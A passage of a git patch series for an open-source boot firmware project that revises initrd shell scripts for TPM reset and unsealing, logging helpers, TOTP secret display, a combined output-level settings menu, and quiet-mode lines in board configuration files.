"n" ]; then + # if CONFIG_QUIET_MODE=n in /etc/config.user but CONFIG_QUIET_MODE=y in /etc/config then early cbfs-init outputs are suppressed + # both needs to be checked to determine if early boot measurements traces were suppressed + if grep -q 'CONFIG_QUIET_MODE="y"' /etc/config 2>/dev/null && grep -q 'CONFIG_QUIET_MODE="n"' /etc/config.user 2>/dev/null; then + echo "Early boot measurements traces were suppressed per CONFIG_QUIET_MODE=y in your board configuration at build time (/etc/config)" >/dev/tty0 + echo "Runtime Quiet mode disabled: refer to '/tmp/debug.log' for cbfs-init related traces prior of this point" >/dev/tty0 + fi fi TRACE_FUNC From 283553956f90283ffaf483eecbbf5a11cb28d7d9 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 20 Dec 2024 16:53:48 -0500 Subject: [PATCH 444/619] initrd/init: Delete outdated comment about ash Signed-off-by: Jonathon Hall Signed-off-by: Thierry Laurion --- initrd/init | 2 -- 1 file changed, 2 deletions(-) diff --git a/initrd/init b/initrd/init index 1b1044fa3..735a30846 100755 --- a/initrd/init +++ b/initrd/init @@ -1,6 +1,4 @@ #! /bin/bash -# Note this is used on legacy-flash boards that lack bash, it runs with busybox -# ash. Calls to bash scripts must be guarded by checking config. mknod /dev/ttyprintk c 5 3 echo "hello world" >/dev/ttyprintk From 516f7b6924afe03aed6b1c5acc992e77af03a3ca Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 20 Dec 2024 16:54:06 -0500 Subject: [PATCH 445/619] etc/functions: Fix SINK_LOG blank lines, add more dev doc Add examples for capturing stderr or both stdout+stderr. Trace blank lines with LOG like non-blank lines. Signed-off-by: Jonathon Hall Signed-off-by: Thierry Laurion --- initrd/etc/functions | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/initrd/etc/functions b/initrd/etc/functions index e50d1b318..4da1087a4 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -402,6 +402,15 @@ mask_param() { # # For example: # ls /boot/vmlinux* | SINK_LOG "/boot kernels" +# +# To capture stderr: +# cryptsetup open /dev/sda1 media-crypt 2> >(SINK_LOG "LUKS unlock sda1 errors") +# (Note: the space between '>' is necessary in '2> >(SINK_LOG ...)') +# +# To capture both: +# tpm reset > >(SINK_LOG "tpm reset") 2>&1 +# (Note: 2>&1 must follow the stdout redirection, and space between '>' is +# necessary) SINK_LOG() { local name="$1" local line haveblank @@ -413,7 +422,7 @@ SINK_LOG() { cat echo ) | while IFS= read -r line; do - [[ -n "$haveblank" ]] && DEBUG "$name: " # Emit buffered blank line + [[ -n "$haveblank" ]] && LOG "$name: " # Emit buffered blank line if [[ -z "$line" ]]; then haveblank=y else From c4bb4107ab701c3f20a5e6af9bdaa1838b344a07 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 20 Dec 2024 16:55:29 -0500 Subject: [PATCH 446/619] tpmr: Use SINK_LOG rather than temp file, avoid doubled log output Use SINK_LOG to capture tpm2 unseal rather than a temp file. Don't double up output from tpm "$@" to log; DO_WITH_DEBUG already captures it. Signed-off-by: Jonathon Hall Signed-off-by: Thierry Laurion --- initrd/bin/tpmr | 21 +++++---------------- 1 file changed, 5 insertions(+), 16 deletions(-) diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index 14e595fc1..dc205e541 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -611,16 +611,9 @@ tpm2_unseal() { fi # tpm2 unseal will write the unsealed data to stdout and any errors to - # stderr. We capture the unsealed data to $file, but still log the errors for quiet mode. - # In case of unseal error, caller will also report on TOTP not being able to be unsealed. - TMP_ERR_FILE=$(mktemp) + # stderr; capture stderr to log. if ! tpm2 unseal -Q -c "$handle" -p "session:$POLICY_SESSION$UNSEAL_PASS_SUFFIX" \ - -S "$ENC_SESSION_FILE" >"$file" 2>"$TMP_ERR_FILE"; then - # Log the contents of the temporary error file - while IFS= read -r line; do - LOG "tpm2 stderr: $line" - done <"$TMP_ERR_FILE" - rm -f "$TMP_ERR_FILE" + -S "$ENC_SESSION_FILE" >"$file" 2> >(SINK_LOG "tpm2 stderr"); then LOG "Unable to unseal secret from TPM NVRAM" # should succeed, exit if it doesn't @@ -810,13 +803,9 @@ if [ "$CONFIG_TPM2_TOOLS" != "y" ]; then TRACE_FUNC LOG "TPM: Extending PCR[$3] with hash $hash" - # Redirect the output of DO_WITH_DEBUG to a temporary file so we can LOG it in quiet mode - TMP_DEBUG_FILE=$(mktemp) - DO_WITH_DEBUG exec tpm "$@" >"$TMP_DEBUG_FILE" 2>&1 - while IFS= read -r line; do - LOG "$line" - done <"$TMP_DEBUG_FILE" - rm -f "$TMP_DEBUG_FILE" + # Silence stdout/stderr, they're only useful for debugging + # and DO_WITH_DEBUG captures them + DO_WITH_DEBUG exec tpm "$@" &>/dev/null ;; seal) shift From a06ead69bcf7e83b8f04c439ba7528a68fd1dd19 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 20 Dec 2024 16:56:46 -0500 Subject: [PATCH 447/619] tpmr: Don't continue blindly if a TPM reset step fails If a TPM reset step fails, don't blindly continue onto the other steps. Use DO_WITH_DEBUG to trace failures, so they're visible in the log but we still exit due to set -e. Signed-off-by: Jonathon Hall Signed-off-by: Thierry Laurion --- initrd/bin/tpmr | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index dc205e541..84626e886 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -665,15 +665,15 @@ tpm2_reset() { # output TPM Owner Password to a file to be reused in this boot session until recovery shell/reboot DEBUG "Caching TPM Owner Password to $SECRET_DIR/tpm_owner_password" echo -n "$tpm_owner_password" >"$SECRET_DIR/tpm_owner_password" - tpm2 clear -c platform >/dev/null 2>&1 || LOG "Unable to clear TPM on platform hierarchy" - tpm2 changeauth -c owner "$(tpm2_password_hex "$tpm_owner_password")" >/dev/null 2>&1 || LOG "Unable to change owner password" - tpm2 changeauth -c endorsement "$(tpm2_password_hex "$tpm_owner_password")" >/dev/null 2>&1 || LOG "Unable to change endorsement password" - tpm2 createprimary -C owner -g sha256 -G "${CONFIG_PRIMARY_KEY_TYPE:-rsa}" \ - -c "$SECRET_DIR/primary.ctx" -P "$(tpm2_password_hex "$tpm_owner_password")" >/dev/null 2>&1 || LOG "Unable to create primary key" - tpm2 evictcontrol -C owner -c "$SECRET_DIR/primary.ctx" "$PRIMARY_HANDLE" \ - -P "$(tpm2_password_hex "$tpm_owner_password")" >/dev/null 2>&1 || LOG "Unable to evict primary key" - shred -u "$SECRET_DIR/primary.ctx" >/dev/null 2>&1 - tpm2_startsession >/dev/null 2>&1 || LOG "Unable to start session" + DO_WITH_DEBUG tpm2 clear -c platform &>/dev/null + DO_WITH_DEBUG tpm2 changeauth -c owner "$(tpm2_password_hex "$tpm_owner_password")" &>/dev/null + DO_WITH_DEBUG tpm2 changeauth -c endorsement "$(tpm2_password_hex "$tpm_owner_password")" &>/dev/null + DO_WITH_DEBUG tpm2 createprimary -C owner -g sha256 -G "${CONFIG_PRIMARY_KEY_TYPE:-rsa}" \ + -c "$SECRET_DIR/primary.ctx" -P "$(tpm2_password_hex "$tpm_owner_password")" &>/dev/null + DO_WITH_DEBUG tpm2 evictcontrol -C owner -c "$SECRET_DIR/primary.ctx" "$PRIMARY_HANDLE" \ + -P "$(tpm2_password_hex "$tpm_owner_password")" &>/dev/null + shred -u "$SECRET_DIR/primary.ctx" &>/dev/null + DO_WITH_DEBUG tpm2_startsession &>/dev/null # Set the dictionary attack parameters. TPM2 defaults vary widely, we # want consistent behavior on any TPM. @@ -715,17 +715,17 @@ tpm1_reset() { DEBUG "Caching TPM Owner Password to $SECRET_DIR/tpm_owner_password" echo -n "$tpm_owner_password" >"$SECRET_DIR/tpm_owner_password" # Make sure the TPM is ready to be reset - tpm physicalpresence -s >/dev/null 2>&1 || LOG "Unable to assert physical presence" - tpm physicalenable >/dev/null 2>&1 || LOG "Unable to enable TPM" - tpm physicalsetdeactivated -c >/dev/null 2>&1 || LOG "Unable to deactivate TPM" - tpm forceclear >/dev/null 2>&1 || LOG "Unable to clear TPM" - tpm physicalenable >/dev/null 2>&1 || LOG "Unable to enable TPM" - tpm takeown -pwdo "$tpm_owner_password" >/dev/null 2>&1 || LOG "Unable to take ownership of TPM" + DO_WITH_DEBUG tpm physicalpresence -s &>/dev/null + DO_WITH_DEBUG tpm physicalenable &>/dev/null + DO_WITH_DEBUG tpm physicalsetdeactivated -c &>/dev/null + DO_WITH_DEBUG tpm forceclear &>/dev/null + DO_WITH_DEBUG tpm physicalenable &>/dev/null + DO_WITH_DEBUG tpm takeown -pwdo "$tpm_owner_password" &>/dev/null # And now turn it all back on - tpm physicalpresence -s >/dev/null 2>&1 || LOG "Unable to assert physical presence" - tpm physicalenable >/dev/null 2>&1 || LOG "Unable to enable TPM" - tpm physicalsetdeactivated -c >/dev/null 2>&1 || LOG "Unable to deactivate TPM physical presence requirement" + DO_WITH_DEBUG tpm physicalpresence -s &>/dev/null + DO_WITH_DEBUG tpm physicalenable &>/dev/null + DO_WITH_DEBUG tpm physicalsetdeactivated -c &>/dev/null } # Perform final cleanup before boot and lock the platform heirarchy. From 8e630e0e4db5bc18dcae0ae3e56e89dd0d42b91d Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 20 Dec 2024 16:58:16 -0500 Subject: [PATCH 448/619] seal-totp: Print plain secret instead of URL for manual entry Don't print the URL and then explain how to get the secret out of it, just print the secret. Signed-off-by: Jonathon Hall Signed-off-by: Thierry Laurion --- initrd/bin/seal-totp | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/initrd/bin/seal-totp b/initrd/bin/seal-totp index cc1147054..3c593d697 100755 --- a/initrd/bin/seal-totp +++ b/initrd/bin/seal-totp @@ -55,10 +55,9 @@ tpmr seal "$TOTP_SECRET" "$TPM_NVRAM_SPACE" 0,1,2,3,4,7 "$pcrf" 312 "" "$TPM_PAS shred -n 10 -z -u "$TOTP_SEALED" 2>/dev/null url="otpauth://totp/$HOST?secret=$secret" -secret="" DEBUG "TOTP secret output on screen (both URL and QR code)" qrenc "$url" -echo "TOTP secret for manual input (if no mobile phone) is after the 'secret=' part of the URL:" -echo "$url" +echo "TOTP secret for manual input (device without camera): $secret" +secret="" From 0825b57e2909bc6c1f4bb6b864a05f38e437312f Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 20 Dec 2024 16:58:45 -0500 Subject: [PATCH 449/619] config-gui.sh: Combine quiet mode / debug output to one output setting These two settings are exclusive, so they would disable each other if enabled. Present them as one setting with three output levels. Signed-off-by: Jonathon Hall Signed-off-by: Thierry Laurion --- initrd/bin/config-gui.sh | 67 +++++++++++++--------------------------- 1 file changed, 22 insertions(+), 45 deletions(-) diff --git a/initrd/bin/config-gui.sh b/initrd/bin/config-gui.sh index f3299d1aa..2f4117712 100755 --- a/initrd/bin/config-gui.sh +++ b/initrd/bin/config-gui.sh @@ -80,12 +80,7 @@ while true; do # Debugging option always available dynamic_config_options+=( - 'Z' " $(get_config_display_action "$CONFIG_DEBUG_OUTPUT") $CONFIG_BRAND_NAME debug and function tracing output" - ) - - # Quiet option always available - dynamic_config_options+=( - 'Q' " $(get_config_display_action "$CONFIG_QUIET_MODE") $CONFIG_BRAND_NAME quiet mode" + 'Z' " Configure $CONFIG_BRAND_NAME informational / debug output" ) [ "$CONFIG_FINALIZE_PLATFORM_LOCKING" = "y" ] && dynamic_config_options+=( @@ -553,52 +548,34 @@ while true; do fi ;; "Z") - if [ "$CONFIG_DEBUG_OUTPUT" != "y" ]; then - if (whiptail --title 'Enable Debugging and Tracing output?' \ - --yesno "This will enable DEBUG and TRACE output from scripts.\n\nDo you want to proceed?" 0 80); then - - set_user_config "CONFIG_DEBUG_OUTPUT" "y" - set_user_config "CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT" "y" - #DEBUG+TRACE is incompatible with QUIET mode, turn it off - set_user_config "CONFIG_QUIET_MODE" "n" - - whiptail --title 'Config change successful' \ - --msgbox "Debugging and Tracing output enabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - else - if (whiptail --title 'Disable Enable Debugging and Tracing output?' \ - --yesno "This will disable DEBUG and TRACE output from scripts.\n\nDo you want to proceed?" 0 80); then + unset output_choice + whiptail_type $BG_COLOR_MAIN_MENU --title "Informational / Debug Output" \ + --menu "$CONFIG_BRAND_NAME can display informational or debug output.\n\nChoose the output level:" 0 80 10 \ + 0 'None - Show no extra output' \ + 1 "Info - Show information about operations in $CONFIG_BRAND_NAME" \ + 2 "Debug - Show detailed information suitable for debugging $CONFIG_BRAND_NAME" \ + 2>/tmp/whiptail || recovery "GUI menu failed" + output_choice=$(cat /tmp/whiptail) + case "$output_choice" in + 0) set_user_config "CONFIG_DEBUG_OUTPUT" "n" set_user_config "CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT" "n" - - whiptail --title 'Config change successful' \ - --msgbox "Debugging and Tracing output disabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - fi - ;; - "Q") - #Quiet mode: turn off/on console technical output - if [ "$CONFIG_QUIET_MODE" != "y" ]; then - if (whiptail --title 'Enable Quiet mode?' \ - --yesno "This will enable QUIET mode, which will turn off console technical output.\n\nDo you want to proceed?" 0 80); then - set_user_config "CONFIG_QUIET_MODE" "y" - #DEBUG+TRACE is incompatible with QUIET mode, turn it off + ;; + 1) set_user_config "CONFIG_DEBUG_OUTPUT" "n" set_user_config "CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT" "n" - whiptail --title 'Config change successful' \ - --msgbox "Quiet mode enabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - else - if (whiptail --title 'Disable Quiet mode?' \ - --yesno "This will disable QUIET mode, which will turn on console technical output.\n\nDo you want to proceed?" 0 80); then - set_user_config "CONFIG_QUIET_MODE" "n" - whiptail --title 'Config change successful' \ - --msgbox "Quiet mode disabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - fi + ;; + 2) + set_user_config "CONFIG_DEBUG_OUTPUT" "y" + set_user_config "CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT" "y" + set_user_config "CONFIG_QUIET_MODE" "n" + ;; + esac + whiptail --title 'Config change successful' \ + --msgbox "Output level changed.\nSave the config change and reboot for it to go into effect." 0 80 ;; esac done From 89309f0523c40201bc2f6706f78dca3923d4bada Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 20 Dec 2024 19:53:45 -0500 Subject: [PATCH 450/619] init: clarify origin of quiet mode once more after merge conflict resolution Signed-off-by: Thierry Laurion --- initrd/init | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/initrd/init b/initrd/init index 735a30846..9419d9ed4 100755 --- a/initrd/init +++ b/initrd/init @@ -108,9 +108,9 @@ if [ "$CONFIG_QUIET_MODE" = "y" ]; then # check origin of quiet mode setting =y: if it is under /etc/config.user then early cbfs-init outputs are not suppressible # if it is under /etc/config then early cbfs-init outputs are suppressible if grep -q 'CONFIG_QUIET_MODE="y"' /etc/config 2>/dev/null; then - echo "Quiet mode enabled: refer to '/tmp/debug.log' for boot measurements traces" >/dev/tty0 + echo "Quiet mode enabled from board configuration: refer to '/tmp/debug.log' for boot measurements traces" >/dev/tty0 else - echo "Runtime Quiet mode: refer to '/tmp/debug.log' for additional boot measurements traces past this point" >/dev/tty0 + echo "Runtime applied Quiet mode: refer to '/tmp/debug.log' for additional boot measurements traces past this point" >/dev/tty0 echo "To suppress earlier boot measurements traces, enable CONFIG_QUIET_MODE=y in your board configuration at build time." >/dev/tty0 fi # If CONFIG_QUIET_MODE enabled in board config but disabled from Config->Configuration Settings @@ -120,7 +120,7 @@ elif [ "$CONFIG_QUIET_MODE" = "n" ]; then # both needs to be checked to determine if early boot measurements traces were suppressed if grep -q 'CONFIG_QUIET_MODE="y"' /etc/config 2>/dev/null && grep -q 'CONFIG_QUIET_MODE="n"' /etc/config.user 2>/dev/null; then echo "Early boot measurements traces were suppressed per CONFIG_QUIET_MODE=y in your board configuration at build time (/etc/config)" >/dev/tty0 - echo "Runtime Quiet mode disabled: refer to '/tmp/debug.log' for cbfs-init related traces prior of this point" >/dev/tty0 + echo "Runtime applied Quiet mode disabled: refer to '/tmp/debug.log' for cbfs-init related traces prior of this point" >/dev/tty0 fi fi From 574cd97a2f5efc10c7084bbdd080afca59c924ad Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 21 Dec 2024 10:05:03 -0500 Subject: [PATCH 451/619] Revert "TO REVERT BEFORE MERGE: enable quiet mode in all boards and revert for qemu so only prod_quiet boards have quiet upon revert" This reverts commit 65d6fc48ee4f9e8b61bd59f102b60cd01f7a3a39. Signed-off-by: Thierry Laurion --- .../UNMAINTAINED_kgpe-d16_server-whiptail.config | 2 -- .../UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config | 2 -- .../UNMAINTAINED_kgpe-d16_workstation.config | 2 -- boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config | 2 -- boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config | 2 -- boards/librem_11/librem_11.config | 2 -- boards/librem_13v2/librem_13v2.config | 2 -- boards/librem_13v4/librem_13v4.config | 2 -- boards/librem_14/librem_14.config | 2 -- boards/librem_15v3/librem_15v3.config | 2 -- boards/librem_15v4/librem_15v4.config | 2 -- boards/librem_l1um/librem_l1um.config | 2 -- boards/librem_l1um_v2/librem_l1um_v2.config | 2 -- boards/librem_mini/librem_mini.config | 2 -- boards/librem_mini_v2/librem_mini_v2.config | 2 -- boards/nitropad-ns50/nitropad-ns50.config | 2 -- boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config | 2 -- .../optiplex-7010_9010-hotp-maximized.config | 2 -- .../optiplex-7010_9010-maximized.config | 2 -- .../optiplex-7010_9010_TXT-hotp-maximized.config | 2 -- .../optiplex-7010_9010_TXT-maximized.config | 2 -- boards/t420-hotp-maximized/t420-hotp-maximized.config | 2 -- boards/t420-maximized/t420-maximized.config | 2 -- boards/t430-hotp-maximized/t430-hotp-maximized.config | 2 -- boards/t430-maximized/t430-maximized.config | 2 -- boards/t530-hotp-maximized/t530-hotp-maximized.config | 2 -- boards/t530-maximized/t530-maximized.config | 2 -- boards/w530-hotp-maximized/w530-hotp-maximized.config | 2 -- boards/w530-maximized/w530-maximized.config | 2 -- boards/x220-hotp-maximized/x220-hotp-maximized.config | 2 -- boards/x220-maximized/x220-maximized.config | 2 -- .../x230-hotp-maximized-fhd_edp.config | 2 -- boards/x230-hotp-maximized/x230-hotp-maximized.config | 2 -- .../x230-hotp-maximized_usb-kb.config | 2 -- boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config | 2 -- boards/x230-maximized/x230-maximized.config | 2 -- boards/z220-cmt-maximized/z220-cmt-maximized.config | 2 -- 37 files changed, 74 deletions(-) diff --git a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config index 607daec86..271affcd0 100644 --- a/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config +++ b/boards/UNMAINTAINED_kgpe-d16_server-whiptail/UNMAINTAINED_kgpe-d16_server-whiptail.config @@ -52,8 +52,6 @@ export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y export CONFIG_TPM=y #BOOT SCRIPT SELECTION #export CONFIG_BOOTSCRIPT=/bin/generic-init -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init #export CONFIG_BOOTSCRIPT_NETWORK=/bin/network-init-recovery diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config index 1a44484ae..a7555897c 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard/UNMAINTAINED_kgpe-d16_workstation-usb_keyboard.config @@ -49,8 +49,6 @@ export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_TPM=y #BOOT SCRIPT SELECTION #export CONFIG_BOOTSCRIPT=/bin/generic-init -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init #export CONFIG_BOOTSCRIPT_NETWORK=/bin/network-init-recovery diff --git a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config index 34c4a2d69..fe4b0a944 100644 --- a/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config +++ b/boards/UNMAINTAINED_kgpe-d16_workstation/UNMAINTAINED_kgpe-d16_workstation.config @@ -50,8 +50,6 @@ export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y export CONFIG_TPM=y #BOOT SCRIPT SELECTION #export CONFIG_BOOTSCRIPT=/bin/generic-init -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init #export CONFIG_BOOTSCRIPT_NETWORK=/bin/network-init-recovery diff --git a/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config b/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config index ebb979ade..6ea92e2f6 100644 --- a/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config +++ b/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config @@ -34,8 +34,6 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config b/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config index 6ef119933..5c7a27cd8 100644 --- a/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config +++ b/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config @@ -34,8 +34,6 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_11/librem_11.config b/boards/librem_11/librem_11.config index b5847f990..1c50b4ef6 100644 --- a/boards/librem_11/librem_11.config +++ b/boards/librem_11/librem_11.config @@ -30,8 +30,6 @@ CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=n -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_13v2/librem_13v2.config b/boards/librem_13v2/librem_13v2.config index 32b3cf2d6..c52f16abc 100644 --- a/boards/librem_13v2/librem_13v2.config +++ b/boards/librem_13v2/librem_13v2.config @@ -29,8 +29,6 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_13v4/librem_13v4.config b/boards/librem_13v4/librem_13v4.config index 338c197f2..fcc515152 100644 --- a/boards/librem_13v4/librem_13v4.config +++ b/boards/librem_13v4/librem_13v4.config @@ -29,8 +29,6 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_14/librem_14.config b/boards/librem_14/librem_14.config index 4e722819e..6ac128a5c 100644 --- a/boards/librem_14/librem_14.config +++ b/boards/librem_14/librem_14.config @@ -28,8 +28,6 @@ CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_15v3/librem_15v3.config b/boards/librem_15v3/librem_15v3.config index 578a03554..f21c3d677 100644 --- a/boards/librem_15v3/librem_15v3.config +++ b/boards/librem_15v3/librem_15v3.config @@ -29,8 +29,6 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_15v4/librem_15v4.config b/boards/librem_15v4/librem_15v4.config index 515c7f016..8b9ec201b 100644 --- a/boards/librem_15v4/librem_15v4.config +++ b/boards/librem_15v4/librem_15v4.config @@ -30,8 +30,6 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_l1um/librem_l1um.config b/boards/librem_l1um/librem_l1um.config index e794e5ab7..5684ebe00 100644 --- a/boards/librem_l1um/librem_l1um.config +++ b/boards/librem_l1um/librem_l1um.config @@ -29,8 +29,6 @@ CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_l1um_v2/librem_l1um_v2.config b/boards/librem_l1um_v2/librem_l1um_v2.config index 57ba360cc..6098682b9 100644 --- a/boards/librem_l1um_v2/librem_l1um_v2.config +++ b/boards/librem_l1um_v2/librem_l1um_v2.config @@ -32,8 +32,6 @@ CONFIG_TPM2_TSS=y CONFIG_OPENSSL=y CONFIG_PRIMARY_KEY_TYPE=ecc -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_mini/librem_mini.config b/boards/librem_mini/librem_mini.config index 56372362d..46d0a7388 100644 --- a/boards/librem_mini/librem_mini.config +++ b/boards/librem_mini/librem_mini.config @@ -30,8 +30,6 @@ CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=n -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/librem_mini_v2/librem_mini_v2.config b/boards/librem_mini_v2/librem_mini_v2.config index 72bcf354b..163876e16 100644 --- a/boards/librem_mini_v2/librem_mini_v2.config +++ b/boards/librem_mini_v2/librem_mini_v2.config @@ -30,8 +30,6 @@ CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=n -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index 4b33a0fbd..ffcb94579 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -68,8 +68,6 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y -#Enable quiet mode: technical information logged under /tmp/debug.log -export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config index 63a684c99..92ab67d40 100644 --- a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config +++ b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config @@ -67,8 +67,6 @@ export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export 